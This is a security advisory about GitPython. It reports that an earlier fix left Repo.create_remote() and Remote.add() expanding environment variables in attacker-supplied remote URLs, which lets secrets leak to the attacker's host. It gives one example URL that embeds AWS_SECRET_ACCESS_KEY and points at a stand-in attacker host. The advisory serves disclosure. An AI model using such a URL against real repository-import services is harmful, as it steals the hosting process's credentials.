GHSA-94p4-4cq8-9g67: GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)

The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process’s environment secret, written into .git/config, and then transmitted to the attacker’s host on the next fetch/pull. This is the same primitive and same “import repository from URL” threat model the advisory describes, via the sibling caller the fix missed.